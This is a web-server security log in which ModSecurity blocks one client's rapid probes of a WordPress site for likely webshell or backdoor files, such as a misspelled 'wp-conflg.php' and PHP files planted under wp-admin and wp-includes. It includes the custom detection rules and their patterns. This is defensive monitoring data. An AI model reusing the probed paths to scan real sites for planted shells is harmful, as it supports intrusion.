[Mon Mar 02 04:24:43.120622 2026] [:error] [pid 28908:tid 28926] [client 20.104.124.39:37709] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/403.php"] [unique_id "aaSgi4qJmC8ih_lQQnC4RQAAANA"]
[Mon Mar 02 04:24:43.578582 2026] [:error] [pid 31257:tid 31263] [client 20.104.124.39:37841] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/403.php"] [unique_id "aaSgi_-JFLfishX45N_WawAAAQA"]
[Mon Mar 02 04:24:44.128466 2026] [:error] [pid 31257:tid 31284] [client 20.104.124.39:37830] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/403.php"] [unique_id "aaSgjP-JFLfishX45N_WbwAAARU"]
[Mon Mar 02 04:24:44.583969 2026] [:error] [pid 28794:tid 28856] [client 20.104.124.39:37871] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/403.php"] [unique_id "aaSgjKVy2qpaelbUob3ovgAAAFQ"]
[Mon Mar 02 04:24:45.479490 2026] [:error] [pid 31257:tid 31263] [client 20.104.124.39:37767] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/m.php"] [unique_id "aaSgjf-JFLfishX45N_WdgAAAQA"]
[Mon Mar 02 04:24:46.434281 2026] [:error] [pid 31257:tid 31285] [client 20.104.124.39:37719] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/m.php"] [unique_id "aaSgjv-JFLfishX45N_WfQAAARY"]
[Mon Mar 02 04:24:47.419648 2026] [:error] [pid 28793:tid 28813] [client 20.104.124.39:37819] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/m.php"] [unique_id "aaSgjw2_fxBANaHo1f7ufwAAAAY"]
[Mon Mar 02 04:24:48.190292 2026] [:error] [pid 28793:tid 28823] [client 20.104.124.39:37762] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/m.php"] [unique_id "aaSgkA2_fxBANaHo1f7ugAAAABA"]
[Mon Mar 02 04:24:48.899827 2026] [:error] [pid 28795:tid 28872] [client 20.104.124.39:37858] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/themes.php"] [unique_id "aaSgkLROd53wZBkdI_fo2AAAAIk"]
[Mon Mar 02 04:24:49.609006 2026] [:error] [pid 31257:tid 31270] [client 20.104.124.39:37778] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/themes.php"] [unique_id "aaSgkf-JFLfishX45N_WhgAAAQc"]
[Mon Mar 02 04:24:50.139205 2026] [:error] [pid 28908:tid 28934] [client 20.104.124.39:37770] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/themes.php"] [unique_id "aaSgkoqJmC8ih_lQQnC4WQAAANg"]
[Mon Mar 02 04:24:50.852788 2026] [:error] [pid 28908:tid 28920] [client 20.104.124.39:37877] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/themes.php"] [unique_id "aaSgkoqJmC8ih_lQQnC4XAAAAMo"]
[Mon Mar 02 04:24:51.925913 2026] [:error] [pid 28795:tid 28887] [client 20.104.124.39:37814] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aaSgk7ROd53wZBkdI_fo6wAAAJg"]
[Mon Mar 02 04:24:52.980195 2026] [:error] [pid 28794:tid 28839] [client 20.104.124.39:37879] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aaSglKVy2qpaelbUob3oxgAAAEM"]
[Mon Mar 02 04:24:53.814467 2026] [:error] [pid 28794:tid 28843] [client 20.104.124.39:37760] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aaSglaVy2qpaelbUob3oywAAAEc"]
[Mon Mar 02 04:24:54.440962 2026] [:error] [pid 28795:tid 28867] [client 20.104.124.39:37784] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aaSglrROd53wZBkdI_fo9gAAAIQ"]
[Mon Mar 02 04:24:55.160286 2026] [:error] [pid 31257:tid 31271] [client 20.104.124.39:37791] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aaSgl_-JFLfishX45N_WlgAAAQg"]
[Mon Mar 02 04:24:56.695371 2026] [:error] [pid 31257:tid 31275] [client 20.104.124.39:37787] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aaSgmP-JFLfishX45N_WngAAAQw"]
[Mon Mar 02 04:24:57.502217 2026] [:error] [pid 31257:tid 31263] [client 20.104.124.39:37651] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aaSgmf-JFLfishX45N_WpgAAAQA"]
[Mon Mar 02 04:24:58.296992 2026] [:error] [pid 28795:tid 28882] [client 20.104.124.39:37863] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aaSgmrROd53wZBkdI_fo_AAAAJM"]
[Mon Mar 02 04:24:58.931320 2026] [:error] [pid 31257:tid 31272] [client 20.104.124.39:37828] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/click.php"] [unique_id "aaSgmv-JFLfishX45N_WsQAAAQk"]
[Mon Mar 02 04:25:00.079442 2026] [:error] [pid 28908:tid 28915] [client 20.104.124.39:37696] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/click.php"] [unique_id "aaSgnIqJmC8ih_lQQnC4egAAAMU"]
[Mon Mar 02 04:25:01.688076 2026] [:error] [pid 31257:tid 31267] [client 20.104.124.39:37864] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/click.php"] [unique_id "aaSgnf-JFLfishX45N_WzQAAAQQ"]
[Mon Mar 02 04:25:02.290710 2026] [:error] [pid 28793:tid 28825] [client 20.104.124.39:37773] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/click.php"] [unique_id "aaSgng2_fxBANaHo1f7uhQAAABI"]
[Mon Mar 02 04:25:02.873137 2026] [:error] [pid 31257:tid 31275] [client 20.104.124.39:37800] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/install.php"] [unique_id "aaSgnv-JFLfishX45N_W0wAAAQw"]
[Mon Mar 02 04:25:03.446379 2026] [:error] [pid 31257:tid 31265] [client 20.104.124.39:37868] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/install.php"] [unique_id "aaSgn_-JFLfishX45N_W1QAAAQI"]
[Mon Mar 02 04:25:03.906159 2026] [:error] [pid 28794:tid 28854] [client 20.104.124.39:37795] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/install.php"] [unique_id "aaSgn6Vy2qpaelbUob3pBwAAAFI"]
[Mon Mar 02 04:25:07.588610 2026] [:error] [pid 28795:tid 28872] [client 20.104.124.39:37801] [client 20.104.124.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aaSgo7ROd53wZBkdI_fpEQAAAIk"]
[Mon Mar 02 04:25:10.849472 2026] [:error] [pid 31257:tid 31266] [client 20.104.124.39:37754] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aaSgpv-JFLfishX45N_W7wAAAQM"]
[Mon Mar 02 04:25:11.801714 2026] [:error] [pid 31257:tid 31267] [client 20.104.124.39:37806] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aaSgp_-JFLfishX45N_W9QAAAQQ"]
[Mon Mar 02 04:25:13.520431 2026] [:error] [pid 31257:tid 31264] [client 20.104.124.39:37818] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aaSgqf-JFLfishX45N_W-QAAAQE"]
[Mon Mar 02 04:25:14.674667 2026] [:error] [pid 31257:tid 31285] [client 20.104.124.39:37718] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aaSgqv-JFLfishX45N_W_AAAARY"]
[Mon Mar 02 04:25:15.523048 2026] [:error] [pid 28794:tid 28854] [client 20.104.124.39:37882] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/index.php"] [unique_id "aaSgq6Vy2qpaelbUob3pNQAAAFI"]
[Mon Mar 02 04:25:16.238603 2026] [:error] [pid 28794:tid 28841] [client 20.104.124.39:37704] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/index.php"] [unique_id "aaSgrKVy2qpaelbUob3pOQAAAEU"]
[Mon Mar 02 04:25:16.716314 2026] [:error] [pid 31257:tid 31264] [client 20.104.124.39:37815] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/index.php"] [unique_id "aaSgrP-JFLfishX45N_XBQAAAQE"]
[Mon Mar 02 04:25:17.480894 2026] [:error] [pid 31257:tid 31282] [client 20.104.124.39:37734] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/index.php"] [unique_id "aaSgrf-JFLfishX45N_XBwAAARM"]
[Mon Mar 02 04:25:18.136674 2026] [:error] [pid 28908:tid 28917] [client 20.104.124.39:37862] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aaSgroqJmC8ih_lQQnC4wAAAAMc"]
[Mon Mar 02 04:25:18.757468 2026] [:error] [pid 28908:tid 28934] [client 20.104.124.39:37820] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aaSgroqJmC8ih_lQQnC4xAAAANg"]
[Mon Mar 02 04:25:19.385784 2026] [:error] [pid 28908:tid 28922] [client 20.104.124.39:37790] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aaSgr4qJmC8ih_lQQnC4ywAAAMw"]
[Mon Mar 02 04:25:19.891078 2026] [:error] [pid 28795:tid 28871] [client 20.104.124.39:37662] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aaSgr7ROd53wZBkdI_fpLAAAAIg"]
[Mon Mar 02 04:25:20.436117 2026] [:error] [pid 28795:tid 28873] [client 20.104.124.39:37829] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aaSgsLROd53wZBkdI_fpLQAAAIo"]
[Mon Mar 02 04:25:21.119858 2026] [:error] [pid 28908:tid 28925] [client 20.104.124.39:37860] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aaSgsYqJmC8ih_lQQnC42AAAAM8"]
[Mon Mar 02 04:25:21.594374 2026] [:error] [pid 28795:tid 28884] [client 20.104.124.39:37878] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aaSgsbROd53wZBkdI_fpMgAAAJU"]
[Mon Mar 02 04:25:22.116706 2026] [:error] [pid 31257:tid 31287] [client 20.104.124.39:37781] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aaSgsv-JFLfishX45N_XJgAAARg"]
[Mon Mar 02 04:25:22.623262 2026] [:error] [pid 31257:tid 31282] [client 20.104.124.39:37700] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aaSgsv-JFLfishX45N_XKgAAARM"]
[Mon Mar 02 04:25:23.206125 2026] [:error] [pid 31257:tid 31278] [client 20.104.124.39:37768] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aaSgs_-JFLfishX45N_XLAAAAQ8"]
[Mon Mar 02 04:25:23.720668 2026] [:error] [pid 31257:tid 31284] [client 20.104.124.39:37809] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aaSgs_-JFLfishX45N_XMAAAARU"]
[Mon Mar 02 04:25:24.253188 2026] [:error] [pid 28795:tid 28876] [client 20.104.124.39:37834] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aaSgtLROd53wZBkdI_fpRAAAAI0"]
[Mon Mar 02 04:25:24.724446 2026] [:error] [pid 28908:tid 28920] [client 20.104.124.39:37850] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "aaSgtIqJmC8ih_lQQnC46AAAAMo"]
[Mon Mar 02 04:25:25.379484 2026] [:error] [pid 31257:tid 31282] [client 20.104.124.39:37821] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "aaSgtf-JFLfishX45N_XPwAAARM"]
[Mon Mar 02 04:25:25.949794 2026] [:error] [pid 31257:tid 31278] [client 20.104.124.39:37706] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "aaSgtf-JFLfishX45N_XQgAAAQ8"]
[Mon Mar 02 04:25:26.717860 2026] [:error] [pid 28794:tid 28851] [client 20.104.124.39:37737] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "aaSgtqVy2qpaelbUob3pTAAAAE8"]
[Mon Mar 02 04:25:27.378543 2026] [:error] [pid 28908:tid 28923] [client 20.104.124.39:37711] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/autoload_classmap.php"] [unique_id "aaSgt4qJmC8ih_lQQnC49AAAAM0"]
[Mon Mar 02 04:25:28.046538 2026] [:error] [pid 28908:tid 28910] [client 20.104.124.39:37780] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/autoload_classmap.php"] [unique_id "aaSguIqJmC8ih_lQQnC4_AAAAMA"]
[Mon Mar 02 04:25:28.604804 2026] [:error] [pid 28794:tid 28850] [client 20.104.124.39:37823] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/autoload_classmap.php"] [unique_id "aaSguKVy2qpaelbUob3pVwAAAE4"]
[Mon Mar 02 04:25:29.318460 2026] [:error] [pid 28793:tid 28814] [client 20.104.124.39:37866] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/autoload_classmap.php"] [unique_id "aaSguQ2_fxBANaHo1f7unwAAAAc"]
